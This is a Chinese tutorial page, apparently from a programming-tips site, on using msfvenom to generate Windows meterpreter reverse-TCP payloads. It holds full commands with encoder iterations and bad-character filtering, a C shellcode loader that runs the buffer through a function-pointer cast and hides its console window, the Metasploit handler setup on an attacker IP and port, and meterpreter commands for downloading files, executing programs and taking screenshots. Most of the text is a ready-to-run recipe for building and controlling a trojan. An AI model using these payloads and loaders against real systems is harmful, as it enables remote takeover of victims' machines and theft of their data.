欢迎您访问 最编程 本站为您分享编程语言代码,编程技术文章!
您现在的位置是: 首页

菜鸟也懂!msfvenom的基本使用教程

最编程 2024-08-04 14:02:44
...

MSF生成EXE:

msfvenom -p 有效载荷 -f 输出格式 -o 输出文件
msfvenom -p windows/meterpreter/reverse_tcp -f exe -o payload.exe

MSF生成Shellcode:

msfvenom -a 系统架构 --platform 系统平台 -p 有效载荷 lhost=攻击机IP lport=攻击机端口 -e 编码方式 -i编码次数 -f 输出格式 -o 输出文件
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=192.168.1.1 lport=8888 -i 3 -e x86/shikata_ga_nai -f exe -o payload.exe

常用查看命令:

msfvenom -l archs #查看支持的系统架构
msfvenom -l platforms #查看支持系统平台
msfvenom -l payload #列出所有可用的payload
msfvenom -l formats #列出所有的输出格式
msfvenom -l encrypt #列出所有的加密方式
msfvenom -l encoders #列出所有的编码器**

 

MSF基本操作

-l, --list <type> 
 # 列出所有可用的项目,其中值可以被设置为 payloads, encoders, nops, platforms, archs, encrypt, formats等等
 -p, --payload <payload> 
 # 指定特定的 Payload,如果被设置为 - ,那么从标准输入流中读取
 --list-options 
 # 列出--payload <value> 的标准,高级和规避选项
 -f, --format <format> 
 # 指定 Payload 的输出格式(使用 --list formats 列出)
 -e, --encoder <encoder> 
 # 指定使用的 Encoder (使用 --list encoders 列出)
 --sec-name <value> 
 # 生成大型Windows二进制文件时使用的新名称。默认值:随机4个字符的字符串
 --smallest 
 # 使用所有可用的编码器生成最小的payload
 --encrypt <value> 
 # 应用于shellcode的加密或编码类型 (使用--list encrypt 列出)
 --encrypt-key <value> 
 # 用于加密的密钥
 --encrypt-iv <value> 
 # 加密的初始化向量
 -a, --arch <arch> 
 # 指定目标系统架构(使用 --list archs 列出)
 --platform <platform> 
 # 指定目标系统平台 (使用 --list platforms 列出)
 -o, --out <path> 
 # 保存payload文件
 -b, --bad-chars <list> 
 # 设置需要在 Payload 中避免出现的字符,如: '\x00\xff'
 -n, --nopsled <length> 
 # 指定 nop 在 payload 中的数量
 -s, --space <length> 
 # 设置未经编码的 Payload 的最大长度
 --encoder-space <length> 
 # 编码后的 Payload 的最大长度
 -i, --iterations <count> 
 # 设置 Payload 的编码次数
 -c, --add-code <path> 
 # 指定包含一个额外的win32 shellcode文件
 -x, --template <path> 
 # 指定一个特定的可执行文件作为模板
 -k, --keep 
 # 保护模板程序的功能,注入的payload作为一个新的进程运行
 -v, --var-name <value> 
 # 指定一个变量名(当添加 -f 参数的时候,例如 -f python,那么输出为 python 代码, payload 会被按行格式化为 python 代码,追加到一个 python 变量中,这个参数即为指定 python 变量的变量名)
 -t, --timeout <second> 
 # 设置从STDIN读取payload的等待时间(默认为30,0为禁用)
 -h, --help 
 # 帮助

 

MSF测试:

1、MSF生成:

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 12 -b '\x00' lhost=192.168.226.143 lport=1250 -f c

2、使用简单的指针法加载

#include "stdafx.h"
#include <stdio.h>
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
unsigned char buf[] =
(这里放生成好的数组)
main()
{
((void(*)(void))&buf)();
}

3、打开MSF监听

msfconsole
开启监听:
use exploit/multi/handler
设置payload,和生成的木马保持一致:
set payload windows/meterpreter/reverse_tcp
设置本地地址,和木马一致:
set lhost 192.168.226.143
设置本地端口,和木马一致:
set lport 1250
run

4、链接成功后进行验证

meterpreter基本命令:

getuid 当前用户权限
download 下载
execute -f calc.exe 执行cmd命令
screenshot 屏幕快照
kill 1234 终结进程
shutdown 关机

 

注:生成弹出calc的shellcode

msfvenom --platform windows -a x86 Windows/exec cmd="calc.exe"

 

推荐阅读